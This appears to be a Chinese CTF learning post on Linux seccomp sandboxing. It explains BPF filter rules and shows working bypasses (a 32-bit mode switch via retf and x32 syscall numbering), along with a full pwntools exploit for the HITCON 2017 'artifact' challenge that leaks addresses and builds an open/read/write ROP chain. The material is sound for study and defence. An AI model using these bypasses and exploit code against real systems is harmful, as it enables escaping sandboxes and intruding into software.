Sandbox

沙箱

因为用户层对数据的一切操作到底都是需要通过系统调用来完成的,那么只要对某些危险的系统调用进行限制,用户层的程序就比较难进行恶意的系统调用

seccommp

short for secure computing mode(wiki)是一种限制系统调用的安全机制,可以当沙箱用。在严格模式下只支持exit(),sigreturn(),read()和write(),其他的系统调用都会杀死进程,过滤模式下可以指定允许那些系统调用,规则是bpf,可以使用seccomp-tools查看

prctl

这个系统调用是进行进程控制的。
首先,要使用它需要有CAP_SYS_ADMIN权能(允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等)否则就要设置PR_SET_NO_NEW_PRIVS位。设置了PR_SET_NO_NEW_PRIVS位后能保证seccomp对所有用户都能起作用,并且会使子进程即execve后的进程依然受控,意思就是即使执行execve这个系统调用替换了整个binary权限不会变化,而且正如其名它设置以后就不能再改了,即使可以调用ptctl也不能再把它禁用掉。

使用的一般格式

先设定PR_SET_NO_NEW_PRIVS

prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);     //设为1

然后启用自定义过滤模式

prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);//第一个参数要进行什么设置,第二个是设置为过滤模式,第三个参数就是过滤规则

这里重点是第三个参数:&prog指向我们制定的过滤规则,指向如下结构体

构造规则

规则由两个结构体控制
struct sock_fprog 记录规则条数和具体规则结构体指针

struct sock_fprog {
   unsigned short      len;    /* Number of BPF instructions */
   struct sock_filter *filter; /* Pointer to array of
                                  BPF instructions */
};

struct sock_filter
每一条规则固定形式如下:

struct sock_filter {            /* Filter block */
    __u16 code;                 /* Actual filter code 真正用于过滤的指令 */
    __u8  jt;                   /* Jump true */
    __u8  jf;                   /* Jump false */
    __u32 k;                    /*多用途字段 Generic multiuse field */
};

为了操作方便定义了一组宏来完成filter的填写(定义在/usr/include/linux/bpf_common.h):

#ifndef BPF_STMT  //一般用于实际数据操作
#define BPF_STMT(code, k) { (unsigned short)(code), 0, 0, k }
#endif
#ifndef BPF_JUMP  //一般用于跳转
#define BPF_JUMP(code, k, jt, jf) { (unsigned short)(code), jt, jf, k }
#endif

然后就是code的组成,它是由多个”单词”组成的”短语”,类似”动宾结构”,”单词”间使用”+”连接:

#define BPF_CLASS(code) ((code) & 0x07)         //首先指定操作的类别
#define        BPF_LD        0x00                    //将值cp进寄存器
#define        BPF_LDX        0x01
#define        BPF_ST        0x02
#define        BPF_STX        0x03
#define        BPF_ALU        0x04
#define        BPF_JMP        0x05
#define        BPF_RET        0x06
#define        BPF_MISC        0x07

/* ld/ldx fields */
#define BPF_SIZE(code)  ((code) & 0x18)         //在ld时指定操作数的大小
#define        BPF_W        0x00
#define        BPF_H        0x08
#define        BPF_B        0x10
#define BPF_MODE(code)  ((code) & 0xe0)         //操作数类型
#define        BPF_IMM        0x00
#define        BPF_ABS        0x20
#define        BPF_IND        0x40
#define        BPF_MEM        0x60
#define        BPF_LEN        0x80
#define        BPF_MSH        0xa0

/* alu/jmp fields */
#define BPF_OP(code)    ((code) & 0xf0)         //当操作码类型为ALU时,指定具体运算符
#define        BPF_ADD        0x00                    //到底执行什么操作可以看filter.h里面的定义
#define        BPF_SUB        0x10
#define        BPF_MUL        0x20
#define        BPF_DIV        0x30
#define        BPF_OR        0x40
#define        BPF_AND        0x50
#define        BPF_LSH        0x60
#define        BPF_RSH        0x70
#define        BPF_NEG        0x80
#define        BPF_MOD        0x90
#define        BPF_XOR        0xa0

#define        BPF_JA        0x00                    //当操作码类型是JMP时指定跳转类型
#define        BPF_JEQ        0x10
#define        BPF_JGT        0x20
#define        BPF_JGE        0x30
#define        BPF_JSET        0x40
#define BPF_SRC(code)   ((code) & 0x08)         
#define        BPF_K        0x00                    //常数
#define        BPF_X        0x08

另在与SECCOMP有关的定义在/usr/include/linux/seccomp.h,现在来看看怎么写规则,首先是BPF_LD操作类型,它需要用到的结构为:

struct seccomp_data {
    int   nr;                   /* System call number 系统调用号字段*/
    __u32 arch;                 /* AUDIT_ARCH_* value 存放系统架构类型信息
                                  (在 <linux/audit.h> 里) */
    __u64 instruction_pointer;  /* CPU instruction pointer */
    __u64 args[6];              /* Up to 6 system call arguments 系统调用时6个寄存器参数*/
};

args中是6个寄存器,在32位下是:ebx,ecx,edx,esi,edi,ebp,在64位下是:rdi,rsi,rdx,r10,r8,r9,现在要将syscall时eax的值载入RegA,可以使用:

BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0) //code组成:BPF_LD操作类型  BPF_W: 操作数大小  BPF_ABS:操作数类型   
//或者
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,regoffset(eax))

这会把偏移0处的值(即系统调用的第一个参数)放进寄存器A,读取的是seccomp_data的数据

而跳转语句写法如下:

BPF_JUMP(BPF_JMP+BPF_JEQ,59,1,0)                //这回把寄存器A与值k(此处为59)作比较,为真跳过下一条规则,为假不跳转

其中后两个参数代表成功跳转到第几条规则,失败跳转到第几条规则,这是相对偏移

最后当过滤完成需要返回结果,即是否允许:

BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL)  //不允许
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW) //允许

一般我们会制定多条规则存放在数组中,seccomp会从第0条开始逐条执行,直到遇到BPF_RET返回,决定是否允许该操作以及做某些修改

例子

#include<stdio.h>
#include<sys/prctl.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<stdlib.h>

int main()
{    
        struct sock_filter filter[] = {            //过滤规则数组设定
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),    //每次系统调用前都会执行该过滤规则,这里就一条规则:SECCOMP_RET_KILL不允许,即否定一切系统调用
    };
    struct sock_fprog prog = {             //固定写法
        .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])), //规则条数
        .filter = filter,    //规则数组
    };
    prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);    //首先必须设定PR_SET_NO_NEW_PRIVS
    prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);  //启用我们的过滤规则,重点是最后的规则结构体指针

    printf("test_struct: %p\n", &prog);
    printf("Let`s try 'whoami'\n");
    system("whoami");
    return 0;
}   

结果:

   0x7ffff7af37b7 <__fxstat64+7>     mov    edi, eax
   0x7ffff7af37b9 <__fxstat64+9>     mov    rsi, rdx
   0x7ffff7af37bc <__fxstat64+12>    mov    eax, 50x7ffff7af37c1 <__fxstat64+17>    syscall  <SYS_fstat>
        fd: 0x1
        buf: 0x7fffffffd680 ◂— 0x40 /* '@' */
 栈回溯:       
 ► f 0     7ffff7af37c1 __fxstat64+17
   f 1     7ffff7a6215f _IO_file_doallocate+95
   f 2     7ffff7a72379 _IO_doallocbuf+121
   f 3     7ffff7a71498 _IO_file_overflow+408
   f 4     7ffff7a6f9ed _IO_file_xsputn+189
   f 5     7ffff7a3f534 vfprintf+420
   f 6     7ffff7a48f26 printf+166
   f 7     55555555481b main+145
   f 8     7ffff7a05b97 __libc_start_main+231      

pwndbg> ni

Program terminated with signal SIGSYS, Bad system call.
The program no longer exists.         

现在制订新规则

#include<stdio.h>
#include<sys/prctl.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<stdlib.h>

int main()
{    
    struct sock_filter filter[] = {
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),        //获取第一个参数放入A寄存器
        BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),         //当A==59继续执行下一条规则,否则跳过下一条规则
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),    //KILL
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),  //ALOW
    };
    struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
        .filter = filter,
    };
    prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
    prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);

    printf("Let`s try 'whoami'\n");
    system("whoami");
    return 0;
}

结果:

hunter@hunter:~/PWN/Sandbox/Test2$ ./mysand2
Let`s try 'whoami'

确实没有执行59号调用。

绕过

如果出现像上面那样没有对ARCH进行检查的规则,我们有方法进行绕过。

当未检查arch参数时,可以尝试转换当前的处理器模式(姑且这样叫),即在32位程序中转到64位或者相反,因为i386和x86-64拥有不同的系统调用号,例如:程序为x86-64的并且禁止execve:

11    64      munmap            __x64_sys_munmap
59    64        execve            __x64_sys_execve/ptregs
11    i386    execve            sys_execve

若改变模式让其认为当前真在处理i386的程序,那么系统调用号11将不会被解析为__x64_sys_munmap而是sys_execve,这样就绕过了保护,于是这种利用需要满足:

  • 未检查arch
  • 调用号11未被禁止
  • sys_mmap或sys_mprotect能用
    前面两点比较好理解,第三点主要是因为在转换cpu处理模式后我们很难找到适用于另一种arch的gadget。比如在64位程序中寻找适用于32程序的gadget,如果可以注入外来的shellcode就不一样了。
    所以我们用到sys_mprotect或sys_mmap函数来开启某一段空间的执行权限,以便我们之后注入合适的shellcode

这中特殊的shellcode主要部分如下:

to32:                           ;;将CPU模式转换为32位
    mov DWORD [rsp+4],0x23      ;;32位
    retf
to64:                           ;;将CPU模式转换为64位
    mov DWORD [esp+4],0x33      ;;64位
    retf
 //retf:pop ip ; pop cs

原理为RETF指令,它能改变CS寄存器,当CS为0x23时表示当前为64位,当为0x33时表示为32位

例子

#include <stdio.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <stdlib.h>
#include <unistd.h>

extern void my_execve(char *,char**,char**);            //为了学习方便,将shellcode直接编入
char *args[]={
//    "/usr/bin/id",
    "/bin/sh",
    0
};
int main()
{
    struct sock_filter filter[] = {
        //BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),             //这两步是检查arch的,先把注释掉,即不检查arch
        //BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
        BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
    };
    struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
        .filter = filter,
    };
    prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
    prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);

    printf(":Beta~\n");
    my_execve(args[0],args,0);
     //execve("id",0,0);
    return 0;
}
接下来的shellcode部分:
section .text
global my_execve

my_execve:
    lea rsp,[stk]       ;;如下所述,防止内存访问异常
    call to32           ;;转换为32位
    mov eax,11          ;;32位的sys_execve 64位的sys_munmap
    mov ebx,edi         ;;32位和64位参数所用寄存器不同需要手动修改
    mov ecx,esi
    mov edx,edx
    int 0x80            ;;32位不能使用syscall,只能使用此指令
    ret
to32:
    mov DWORD [rsp+4],0x23
    retf

section .bss            ;;这里创建了一个栈,因为to32后rsp只有低位也就是esp有效了,若不这样做它将会指向一个不可访问的区域,这将会导致访问异常
    resb 1000           ;;在实际利用过程中找到一个可访问的低位地址就好了
stk:

Makefile:

all: sec

sec: sec.c sec.asm
                nasm -felf64 sec.asm -o sec.o
                gcc sec.o sec.c -no-pie -o sec

编译后执行,可以获得shell但是无法执行任何指令:

:Beta~
$ ls
Bad system call (core dumped)
$ ls
Bad system call (core dumped)
$ 

这是因为设置了PR_SET_NO_NEW_PRIVS以后即使execve这种用新装在的程序替换原来的程序,也会保留原来的seccomp设置,所以此时即使execve(“/bin/sh”, [“/bin/sh”], NULL)执行成功,新生成的shell也不能调用__x64_sys_execve执行新命令,也就是说我们只有一次执行execve的机会(就是转换为32位处理模式而执行的一次execve),于是解决办法就是在shellcode里面直接执行想要的操作,例如:

char *args[]={
    "/usr/bin/id",
    0
};

结果:

:Beta~
uid=0(root) gid=0(root) groups=0(root)

利用seccomp-tools可以看到程序设定的过滤规则:

hunter@hunter:~/PWN/Sandbox$ seccomp-tools dump ./sec
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x02 0xc000003e  if (A != ARCH_X86_64) goto 0004
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW

x64下使用X32绕过arch检测

还是上面的程序的程序但是添加了arch检测规则。
X32为x86-64下的一种特殊的模式,它使用64位的寄存器和32位的地址,此时nr会在原来的基础上加上__X32_SYSCALL_BIT (0X40000000),即原本的syscall number + 0x40000000,这会达到一样的效果,此时的shellcode的代码如下:

section .text
global my_execve

my_execve:
    mov rax,59+0x40000000           ;;只需要把系统调用号加0x40000000即可
                                    ;;另外520 或 520+0x40000000 也能用
    syscall
    nop
    nop
    hlt

它同样继承了保护,只能执行一次execve

   0x4005b0 <my_execve>      mov    eax, 0x4000003b0x4005b5 <my_execve+5>    syscall 
        rdi: 0x400764 ◂— 0x68732f6e69622f /* '/bin/sh' */
        rsi: 0x601040 (args) —▸ 0x400764 ◂— 0x68732f6e69622f /* '/bin/sh' */
        rdx: 0x0
        r10: 0x602010 ◂— 0x0

impeccable-Artifact(hitcon-2017-qual)

checksec

[*] '/home/hunter/PWN/Sandbox/artifact'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开

IDA

  v7 = __readfsqword(0x28u);
  init_();                                      // 输出缓冲关闭、sandbox
  memset(v6, 0, 0x640uLL);
  while ( 1 )
  {
    menu();
    index = 0;
    _isoc99_scanf("%d", &choice);
    if ( choice != 1 && choice != 2 )
      break;
    puts("Idx?");
    _isoc99_scanf("%d", &index);
    if ( choice == 1 )
    {
      printf("Here it is: %lld\n", v6[index]);  // 数组越界,stackleak
    }
    else
    {
      puts("Give me your number:");
      _isoc99_scanf("%lld", &v6[index]);        // 数组越界,stack overcome
    }
  }

seccomp-tools规则解析

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch   //获取当前架构
 0001: 0x15 0x00 0x10 0xc000003e  if (A != ARCH_X86_64) goto 0018
 0002: 0x20 0x00 0x00 0x00000020  A = args[2]  //获取第三个参数
 0003: 0x07 0x00 0x00 0x00000000  X = A
 0004: 0x20 0x00 0x00 0x00000000  A = sys_number  //获取系统调用号
 0005: 0x15 0x0d 0x00 0x00000000  if (A == read) goto 0019
 0006: 0x15 0x0c 0x00 0x00000001  if (A == write) goto 0019
 0007: 0x15 0x0b 0x00 0x00000005  if (A == fstat) goto 0019
 0008: 0x15 0x0a 0x00 0x00000008  if (A == lseek) goto 0019
 0009: 0x15 0x01 0x00 0x00000009  if (A == mmap) goto 0011
 0010: 0x15 0x00 0x03 0x0000000a  if (A != mprotect) goto 0014
 0011: 0x87 0x00 0x00 0x00000000  A = X
 0012: 0x54 0x00 0x00 0x00000001  A &= 0x1
 0013: 0x15 0x04 0x05 0x00000001  if (A == 1) goto 0018 else goto 0019
 0014: 0x1d 0x04 0x00 0x0000000b  if (A == X) goto 0019
 0015: 0x15 0x03 0x00 0x0000000c  if (A == brk) goto 0019
 0016: 0x15 0x02 0x00 0x0000003c  if (A == exit) goto 0019
 0017: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0019
 0018: 0x06 0x00 0x00 0x00000000  return KILL
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW

过滤规规则为:

  • 在x64模式下除了mprotect和mmap上面列表所有的系统调用可直接使用,不在列表上的系统调用如果其第三个参数等于自己的系统调用号,也可进行调用
  • 如果为mprotect或则mmap的系统调用,则会检测其proc参数是否由可读标志(0x1)

mprotect和mmap都有的权限参数:proc

#define PROT_READ        0x1                /* Page can be read. 读 */
#define PROT_WRITE        0x2                /* Page can be written.写  */
#define PROT_EXEC        0x4                /* Page can be executed.  执行*/
#define PROT_NONE        0x0                /* Page can not be accessed. 不可访问 */

思路

  • 利用数组越界泄露libc基址以及stack地址
  • 因为系统调用如果其第三个参数要等于自己的系统调用号,所以execve应该无法打开shell,所以用open函数打开flag
  • 然后read,write配合输出

值得注意的是,这里的stackovercome虽然可以用来覆盖返回地址构建rop链,但是数据是以long long int读入的,所以需要一点转换利用pwntools:

  • u64/u32即unpack64/32:将4个或8个为一组的字符串转换为小端序排列的10进制数,恰好应对整型数据类型的覆盖
  • 对应的就是p32/p64 即pack32/64:将数值转换为小端序排序的字符串,是我们常用的,应对字符数据覆盖
  • 而flat就是pack的强化版,可以一次pack多组数据,但是得提前指定arch只有32和64位模式

EXP

#+++++++++++++++++++artifact.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-                           
#Author: Squarer
#Time: 2020.10.30 15.29.04
#+++++++++++++++++++artifact.py++++++++++++++++++++
from pwn import*

context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF('./artifact')
#libc = ELF('null')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')

def read(index,num):
        sh.sendlineafter('Choice?\n' ,'2')
        sh.sendlineafter('Idx?\n',str(index))
        sh.sendlineafter('number:\n',str(num))

def show(index):
        sh.sendlineafter('Choice?\n' ,'1')
        sh.sendlineafter('Idx?\n',str(index))

def show_addr(name,addr):
        log.success("The "+ str(name)+" Addr:" + str(hex(addr)))

def interperter(of,data):  #因为每次覆盖都是地址+参数,这里用来对数据进行分组发送,每次8字节刚好适合long long int
    data = data.ljust((len(data)/8+1)*8, '\x00')  
    for i in range(0,len(data)/8):
        read(of+i,u64(data[i*8:i*8+8]))
        log.info("offset:%d => 0x%x"%(of+i, u64(data[i*8:i*8+8])))

def pwn():
    show(203)    #ret
    sh.recvuntil('Here it is: ')
    libc_addr = int(sh.recvuntil('\n')) - 231 - libc.sym['__libc_start_main']
    show_addr('libc_addr',libc_addr)
    show(205)
    sh.recvuntil('Here it is: ')
    topsatck_addr = int(sh.recvuntil('\n'))-0xe8-0x650
    show_addr('topsatck_addr',topsatck_addr)

    syscall = libc_addr + 0x11b837
    popRdxRsiRet = libc_addr + 0x1306d9
    popRdiRet = libc_addr + 0x2155f
    popRaxRet = libc_addr + 0x439c8

    read = flat(popRdiRet,3,popRdxRsiRet,10,topsatck_addr,popRaxRet,0,syscall)
    write = flat(popRdiRet,1,popRdxRsiRet,10,topsatck_addr,popRaxRet,1,syscall)
    _open = flat(popRdiRet,topsatck_addr,popRdxRsiRet,2,0,popRaxRet,2,syscall)
    payload = _open+read+write
    interperter(0,"flag.txt")
    interperter(0x658/8,payload)
    sh.sendlineafter("Choice?\n","3")
    #gdb.attach(sh)
    sh.interactive()

if __name__ == '__main__':
    sh = process('./artifact')
    pwn()

结果:

[DEBUG] Received 0xa bytes:
    'Congarts!!'
Congarts!!

原文见(大佬tql):https://blog.betamao.me/2019/01/23/Linux%E6%B2%99%E7%AE%B1%E4%B9%8Bseccomp/#prtcl


  转载请注明: Squarer Sandbox

  目录